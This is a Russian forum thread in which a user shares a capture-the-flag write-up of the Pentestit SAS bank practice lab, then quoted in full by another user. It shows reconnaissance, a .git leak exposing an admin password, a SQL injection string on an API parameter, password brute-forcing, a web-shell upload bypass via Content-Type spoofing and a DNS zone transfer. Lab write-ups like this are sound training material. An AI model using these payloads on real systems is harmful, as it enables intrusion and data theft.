
05.05.2016, 14:45
|
|
Постоянный
Регистрация: 21.11.2010
Сообщений: 557
С нами:
8144246
Репутация:
151
|
|
Лаба уже к концу подходит, а скоро стартанёт 9ая версия. Может кому-то будет интересен write-up.
Схема сети:
Как обычно начинаем со скана портов:
Код:
nmap -sS -sV -T4 192.168.101.6
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 14:27 MSK
Nmap scan report for 192.168.101.6
Host is up (0.054s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.8.0
443/tcp open ssl/http nginx 1.8.0
nmap -sS -sV -T4 192.168.101.7
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 14:28 MSK
Nmap scan report for 192.168.101.7
Host is up (0.053s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
25/tcp open tcpwrapped
8100/tcp open http CommuniGate Pro httpd 6.0.9
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
После скана портов видим следущее:
192.168.101.6:80 - site
192.168.101.6:443 - cabinet
192.168.101.7:22 - SSH
192.168.101.7:25 - SMTP
192.168.101.7:8100 - web GUI for mail
Site token
Сайт выглядит, как обычная html страница и страница авторизации. Изначально была мысль, что уязвимость где-то на странице авторизации, но попробовав разные пэйлоуды, понял, что ошибаюсь.
Пробую просканить директории сайта dirb.
Код:
dirb http://192.168.101.6/
---- Scanning URL: http://192.168.101.6/ ----
(!) WARNING: All responses for this directory seem to be CODE = 403.
Каждый реквест возращает 403ую ошибку. Меняю user-agent и пробую ещё раз.
Код:
dirb http://192.168.101.6/ -a 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0'
---- Scanning URL: http://192.168.101.6/ ----
+ http://192.168.101.6/.git/HEAD (CODE:200|SIZE:23)
+ http://192.168.101.6/.htaccess (CODE:200|SIZE:356)
> Testing: http://192.168.101.6/aboutus
Dirb находит .git директорию. Сливаю директорию с помощью git-rip
Код:
./rip-git.pl -o /root/pentestit/lab/192.168.101.6/ -u http://192.168.101.6/.git/
В директории гита лежат все исходниики сайта. Поиском по файлам находим логин:
grep -r 'login' ./
Код:
./app/database/seeds/DatabaseSeeder.php: User::create(array('email' => 'admin@sas.local', 'login' => 'admin', 'password' => Hash::make('OEbdBst1RqWyfVsN1TrP')));
Логинимся с этим логином\паролем и получаем первый токен.
Cabinet token
После скана портов, мы знаем, что кабинет крутится на https. Сканируем кабинет dirb с изменённым user-agent, как мы это делали с сайтом.
Dirb находит два урла:
'/api/auth'
'/api/balance'
После проверки /api/auth на уязвимости, пробую потестировать /api/balance.
Например, /api/balance?api_session_token=asd&id=1
Получаем - {"error":{"api_session_token":["The api session token must be 40 characters."]}}
Пробовал с помощью burp автоматизировать процесс и сделать sql inj, но потом понял, что больше 40 символов не пройдёт и делал руками.
Отправляем запрос:
GET /api/balance?api_session_token=asdasasdasasdasasdasaaaa fffas'+or+'1'='1&id=1 HTTP/1.1
Получаем:
Код:
[{"id":"1","email":"KyleEShannon@cuvox.de","balance":"37.00"},
"id":"2","email":"EricLWhitaker@dayrep.com","balance":"59.00"},
"id":"3","email":"PhillipSPhillips@fleckens.hu","balance":"8.00"},
"id":"4","email":"DrewLHolloway@rhyta.com","balance":"111.00"},
"id":"5","email":"ErnestCWilliams@cuvox.de","balance":"154.00"},
"id":"6","email":"RobertPNetherton@cuvox.de","balance":"81.00"},
"id":"7","email":"IsmaelNNewcomb@dayrep.com","balance":"92.00"},
"id":"8","email":"AldenTPfaff@teleworm.us","balance":"78.00"},
"id":"9","email":"JamesMPang@fleckens.hu","balance":"42.00"},
"id":"10","email":"WilliamLSchmidt@armyspy.com","balance":"137.00"},
"id":"11","email":"JohnCPerkins@teleworm.us","balance":"126.00"},
"id":"12","email":"DonaldDRandolph@fleckens.hu","balance":"186.00"},
"id":"13","email":"JohnMMartin@rhyta.com","balance":"186.00"},
"id":"14","email":"MichaelJDavis@fleckens.hu","balance":"73.00"},
"id":"15","email":"TravisMHeadrick@cuvox.de","balance":"179.00"},
"id":"16","email":"JonathanJAlejandro@rhyta.com","balance":"67.00"},
"id":"17","email":"JeremiahBMagee@superrito.com","balance":"73.00"},
"id":"18","email":"ManuelTBoland@rhyta.com","balance":"35.00"},
"id":"19","email":"EthelCMyers@einrot.com","balance":"165.00"},
"id":"20","email":"RandyRDarden@superrito.comThomasMReid@rhyta.com","balance":"20.00"},
"id":"21","email":"JohnIHampton@teleworm.us","balance":"105.00"},
"id":"22","email":"LesterLLenard@cuvox.de","balance":"19.00"},
{"id":"23","email":"RalphWestfall@sas-bank.lab","balance":"18.00"}]
Из всех полученных аккаунтов заинтересовало RalphWestfall@sas-bank.lab, т.к. оно висело на почтовом сервере sas-bank.lab. C помощью burp и дефолтного словаря john the ripper удалось сбрутить пароль к кабинету данного пользователя. После того как логинимся в кабинет видим таблицу с информацией о транзакциях и слева информацию о пользователе и по клику на аватар появляется форма для загрузки аватара. Естественно на радостях пробовал загрузить сразу шелл в чистом виде, но срабатывала валидация. Включил в burp interception proxy и при загрузке шелла поменял Content-Type: application/x-php to Content-Type: image/jpeg. Получаем веб-шелл и токен от кабинета, который лежит в /var/www.
Recon token
С этим заданием сразу ничего понятно не было. Оно было в списке заданий, но где должен был быть токен и на какой машине его нужно было искать - это было загадкой.
Вначале я решил опять посканить порты, только в этот раз посмотреть, что работает на udp.
Код:
nmap -sU -T4 -sV -p53 192.168.101.6
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 15:31 MSK
Nmap scan report for 192.168.101.6
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
53/udp open domain ISC BIND unknown
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.95 seconds
nmap -sU -T4 -sV -p53 192.168.101.7
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 15:31 MSK
Nmap scan report for 192.168.101.7
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
53/udp open domain ISC BIND unknown
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.89 seconds
Сразу же возникла мысль об axfr.
Код:
dig @192.168.101.6 sas-bank.lab axfr
; > DiG 9.9.5-9+deb8u3-Debian > @192.168.101.6 sas-bank.lab axfr
; (1 server found)
;; global options: +cmd
;; connection timed out; no servers could be reached
dig @192.168.101.7 sas-bank.lab axfr
; > DiG 9.9.5-9+deb8u3-Debian > @192.168.101.7 sas-bank.lab axfr
; (1 server found)
;; global options: +cmd
;; connection timed out; no servers could be reached
Пыл немного поубавился. Полез гуглить и нашёл информацию, что такие запросы могут быть разрешены внутри сети, но извне закрыты, а т.к. у нас уже был шелл, то оставалось только попробовать.
Код:
dig @192.168.101.6 sas-bank.lab axfr
; > DiG 9.8.4-rpz2+rl005.12-P1 > @192.168.101.6 sas-bank.lab axfr
; (1 server found)
;; global options: +cmd
;; connection timed out; no servers could be reached
dig @192.168.101.7 sas-bank.lab axfr
; > DiG 9.8.4-rpz2+rl005.12-P1 > @192.168.101.7 sas-bank.lab axfr
; (1 server found)
;; global options: +cmd
sas-bank.lab. 604800 IN SOA ns1.sas-bank.lab. root.sas-bank.lab. 8 604800 86400 2419200 604800
sas-bank.lab. 604800 IN NS ns1.sas-bank.lab.
sas-bank.lab. 604800 IN NS ns2.sas-bank.lab.
sas-bank.lab. 604800 IN A 192.168.101.6
sas-bank.lab. 604800 IN AAAA ::1
cabinet.sas-bank.lab. 604800 IN CNAME sas-bank.lab.
mail.sas-bank.lab. 604800 IN A 192.168.101.7
mail.sas-bank.lab. 604800 IN MX 5 mx.sas-bank.lab.
ns1.sas-bank.lab. 604800 IN A 192.168.101.6
ns2.sas-bank.lab. 604800 IN A 192.168.101.7
token_recon_ueshuN4ma.sas-bank.lab. 604800 IN CNAME sas-bank.lab.
vpn.sas-bank.lab. 604800 IN A 192.168.101.7
www.sas-bank.lab. 604800 IN CNAME sas-bank.lab.
sas-bank.lab. 604800 IN SOA ns1.sas-bank.lab. root.sas-bank.lab. 8 604800 86400 2419200 604800
;; Query time: 2 msec
;; SERVER: 192.168.101.7#53(192.168.101.7)
;; WHEN: Tue Dec 8 15:35:25 2015
;; XFR size: 14 records (messages 1, bytes 355)
Получаем recon токен.
Это всего лишь 3 токена из 12. Полный write-up можно прочитать здесь:
https://drive.google.com/file/d/0B_A...ew?usp=sharing
В write-up всё выглядит очень гладко, но на самом деле некоторые токены давались с большим трудом и иногда приходилось делать перерыв потому, что сказывалась усталость и терпение было на исходе. Данная версия лабы было очень интересной и узнал достаточно много чего нового. Основной вывод, который сделал из прохождения - уделять больше внимания деталям.
С нетерпением жду новую версию лабы, которая судя по описанию будет очень интересной https://lab.pentestit.ru/pentestlabs/5
Мой первый write-up, поэтому сильно не пинайте
|
|
|

15.09.2016, 02:28
|
|
Постоянный
Регистрация: 14.06.2015
Сообщений: 396
С нами:
5745206
Репутация:
1
|
|
Сообщение от beginner2010
↑
Лаба уже к концу подходит, а скоро стартанёт 9ая версия. Может кому-то будет интересен write-up.
Схема сети:

Как обычно начинаем со скана портов:
Код:
nmap -sS -sV -T4 192.168.101.6
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 14:27 MSK
Nmap scan report for 192.168.101.6
Host is up (0.054s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.8.0
443/tcp open ssl/http nginx 1.8.0
nmap -sS -sV -T4 192.168.101.7
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 14:28 MSK
Nmap scan report for 192.168.101.7
Host is up (0.053s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
25/tcp open tcpwrapped
8100/tcp open http CommuniGate Pro httpd 6.0.9
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
После скана портов видим следущее:
192.168.101.6:80 - site
192.168.101.6:443 - cabinet
192.168.101.7:22 - SSH
192.168.101.7:25 - SMTP
192.168.101.7:8100 - web GUI for mail
Site token
Сайт выглядит, как обычная html страница и страница авторизации. Изначально была мысль, что уязвимость где-то на странице авторизации, но попробовав разные пэйлоуды, понял, что ошибаюсь.
Пробую просканить директории сайта dirb.
Код:
dirb http://192.168.101.6/
---- Scanning URL: http://192.168.101.6/ ----
(!) WARNING: All responses for this directory seem to be CODE = 403.
Каждый реквест возращает 403ую ошибку. Меняю user-agent и пробую ещё раз.
Код:
dirb http://192.168.101.6/ -a 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0'
---- Scanning URL: http://192.168.101.6/ ----
+ http://192.168.101.6/.git/HEAD (CODE:200|SIZE:23)
+ http://192.168.101.6/.htaccess (CODE:200|SIZE:356)
> Testing: http://192.168.101.6/aboutus
Dirb находит .git директорию. Сливаю директорию с помощью git-rip
Код:
./rip-git.pl -o /root/pentestit/lab/192.168.101.6/ -u http://192.168.101.6/.git/
В директории гита лежат все исходниики сайта. Поиском по файлам находим логин:
grep -r 'login' ./
Код:
./app/database/seeds/DatabaseSeeder.php: User::create(array('email' => 'admin@sas.local', 'login' => 'admin', 'password' => Hash::make('OEbdBst1RqWyfVsN1TrP')));
Логинимся с этим логином\паролем и получаем первый токен.
Cabinet token
После скана портов, мы знаем, что кабинет крутится на https. Сканируем кабинет dirb с изменённым user-agent, как мы это делали с сайтом.
Dirb находит два урла:
'/api/auth'
'/api/balance'
После проверки /api/auth на уязвимости, пробую потестировать /api/balance.
Например, /api/balance?api_session_token=asd&id=1
Получаем - {"error":{"api_session_token":["The api session token must be 40 characters."]}}
Пробовал с помощью burp автоматизировать процесс и сделать sql inj, но потом понял, что больше 40 символов не пройдёт и делал руками.
Отправляем запрос:
GET /api/balance?api_session_token=asdasasdasasdasasdasaaaa fffas'+or+'1'='1&id=1 HTTP/1.1
Получаем:
Код:
[{"id":"1","email":"KyleEShannon@cuvox.de","balance":"37.00"},
"id":"2","email":"EricLWhitaker@dayrep.com","balance":"59.00"},
"id":"3","email":"PhillipSPhillips@fleckens.hu","balance":"8.00"},
"id":"4","email":"DrewLHolloway@rhyta.com","balance":"111.00"},
"id":"5","email":"ErnestCWilliams@cuvox.de","balance":"154.00"},
"id":"6","email":"RobertPNetherton@cuvox.de","balance":"81.00"},
"id":"7","email":"IsmaelNNewcomb@dayrep.com","balance":"92.00"},
"id":"8","email":"AldenTPfaff@teleworm.us","balance":"78.00"},
"id":"9","email":"JamesMPang@fleckens.hu","balance":"42.00"},
"id":"10","email":"WilliamLSchmidt@armyspy.com","balance":"137.00"},
"id":"11","email":"JohnCPerkins@teleworm.us","balance":"126.00"},
"id":"12","email":"DonaldDRandolph@fleckens.hu","balance":"186.00"},
"id":"13","email":"JohnMMartin@rhyta.com","balance":"186.00"},
"id":"14","email":"MichaelJDavis@fleckens.hu","balance":"73.00"},
"id":"15","email":"TravisMHeadrick@cuvox.de","balance":"179.00"},
"id":"16","email":"JonathanJAlejandro@rhyta.com","balance":"67.00"},
"id":"17","email":"JeremiahBMagee@superrito.com","balance":"73.00"},
"id":"18","email":"ManuelTBoland@rhyta.com","balance":"35.00"},
"id":"19","email":"EthelCMyers@einrot.com","balance":"165.00"},
"id":"20","email":"RandyRDarden@superrito.comThomasMReid@rhyta.com","balance":"20.00"},
"id":"21","email":"JohnIHampton@teleworm.us","balance":"105.00"},
"id":"22","email":"LesterLLenard@cuvox.de","balance":"19.00"},
{"id":"23","email":"RalphWestfall@sas-bank.lab","balance":"18.00"}]
Из всех полученных аккаунтов заинтересовало
RalphWestfall@sas-bank.lab
, т.к. оно висело на почтовом сервере sas-bank.lab. C помощью burp и дефолтного словаря john the ripper удалось сбрутить пароль к кабинету данного пользователя. После того как логинимся в кабинет видим таблицу с информацией о транзакциях и слева информацию о пользователе и по клику на аватар появляется форма для загрузки аватара. Естественно на радостях пробовал загрузить сразу шелл в чистом виде, но срабатывала валидация. Включил в burp interception proxy и при загрузке шелла поменял Content-Type: application/x-php to Content-Type: image/jpeg. Получаем веб-шелл и токен от кабинета, который лежит в /var/www.
Recon token
С этим заданием сразу ничего понятно не было. Оно было в списке заданий, но где должен был быть токен и на какой машине его нужно было искать - это было загадкой.
Вначале я решил опять посканить порты, только в этот раз посмотреть, что работает на udp.
Код:
nmap -sU -T4 -sV -p53 192.168.101.6
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 15:31 MSK
Nmap scan report for 192.168.101.6
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
53/udp open domain ISC BIND unknown
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.95 seconds
nmap -sU -T4 -sV -p53 192.168.101.7
Starting Nmap 7.00 ( https://nmap.org ) at 2015-12-08 15:31 MSK
Nmap scan report for 192.168.101.7
Host is up (0.045s latency).
PORT STATE SERVICE VERSION
53/udp open domain ISC BIND unknown
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.89 seconds
Сразу же возникла мысль об axfr.
Код:
dig @192.168.101.6 sas-bank.lab axfr
; > DiG 9.9.5-9+deb8u3-Debian > @192.168.101.6 sas-bank.lab axfr
; (1 server found)
;; global options: +cmd
;; connection timed out; no servers could be reached
dig @192.168.101.7 sas-bank.lab axfr
; > DiG 9.9.5-9+deb8u3-Debian > @192.168.101.7 sas-bank.lab axfr
; (1 server found)
;; global options: +cmd
;; connection timed out; no servers could be reached
Пыл немного поубавился. Полез гуглить и нашёл информацию, что такие запросы могут быть разрешены внутри сети, но извне закрыты, а т.к. у нас уже был шелл, то оставалось только попробовать.
Код:
dig @192.168.101.6 sas-bank.lab axfr
; > DiG 9.8.4-rpz2+rl005.12-P1 > @192.168.101.6 sas-bank.lab axfr
; (1 server found)
;; global options: +cmd
;; connection timed out; no servers could be reached
dig @192.168.101.7 sas-bank.lab axfr
; > DiG 9.8.4-rpz2+rl005.12-P1 > @192.168.101.7 sas-bank.lab axfr
; (1 server found)
;; global options: +cmd
sas-bank.lab. 604800 IN SOA ns1.sas-bank.lab. root.sas-bank.lab. 8 604800 86400 2419200 604800
sas-bank.lab. 604800 IN NS ns1.sas-bank.lab.
sas-bank.lab. 604800 IN NS ns2.sas-bank.lab.
sas-bank.lab. 604800 IN A 192.168.101.6
sas-bank.lab. 604800 IN AAAA ::1
cabinet.sas-bank.lab. 604800 IN CNAME sas-bank.lab.
mail.sas-bank.lab. 604800 IN A 192.168.101.7
mail.sas-bank.lab. 604800 IN MX 5 mx.sas-bank.lab.
ns1.sas-bank.lab. 604800 IN A 192.168.101.6
ns2.sas-bank.lab. 604800 IN A 192.168.101.7
token_recon_ueshuN4ma.sas-bank.lab. 604800 IN CNAME sas-bank.lab.
vpn.sas-bank.lab. 604800 IN A 192.168.101.7
www.sas-bank.lab. 604800 IN CNAME sas-bank.lab.
sas-bank.lab. 604800 IN SOA ns1.sas-bank.lab. root.sas-bank.lab. 8 604800 86400 2419200 604800
;; Query time: 2 msec
;; SERVER: 192.168.101.7#53(192.168.101.7)
;; WHEN: Tue Dec 8 15:35:25 2015
;; XFR size: 14 records (messages 1, bytes 355)
Получаем recon токен.
Это всего лишь 3 токена из 12. Полный write-up можно прочитать здесь:
https://drive.google.com/file/d/0B_A...ew?usp=sharing
В write-up всё выглядит очень гладко, но на самом деле некоторые токены давались с большим трудом и иногда приходилось делать перерыв потому, что сказывалась усталость и терпение было на исходе. Данная версия лабы было очень интересной и узнал достаточно много чего нового. Основной вывод, который сделал из прохождения - уделять больше внимания деталям.
С нетерпением жду новую версию лабы, которая судя по описанию будет очень интересной
https://lab.pentestit.ru/pentestlabs/5
Мой первый write-up, поэтому сильно не пинайте
В первый раз слышу про такую канитель )
Можете описать где этот сайт и какой смысл на него время тратить ?
Но всё же тоже интересно помучаться
|
|
|

15.09.2016, 13:19
|
|
Познающий
Регистрация: 27.09.2012
Сообщений: 71
С нами:
7170806
Репутация:
0
|
|
Сообщение от Sensoft
↑
В первый раз слышу про такую канитель )
Можете описать где этот сайт и какой смысл на него время тратить ?
Но всё же тоже интересно помучаться
https://lab.pentestit.ru/
|
|
|

15.09.2016, 18:21
|
|
Постоянный
Регистрация: 14.06.2015
Сообщений: 396
С нами:
5745206
Репутация:
1
|
|
192.168.101.8 => http://cybear32c.lab/
Но пишет что сайт не доступный почему ? vpn настроил и подключился
|
|
|

02.10.2016, 17:06
|
|
Постоянный
Регистрация: 21.11.2010
Сообщений: 557
С нами:
8144246
Репутация:
151
|
|
Эта версия лабы уже недоступна. Сейчас 9ая версия доступна, а в ноябре стартует 10ая.
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|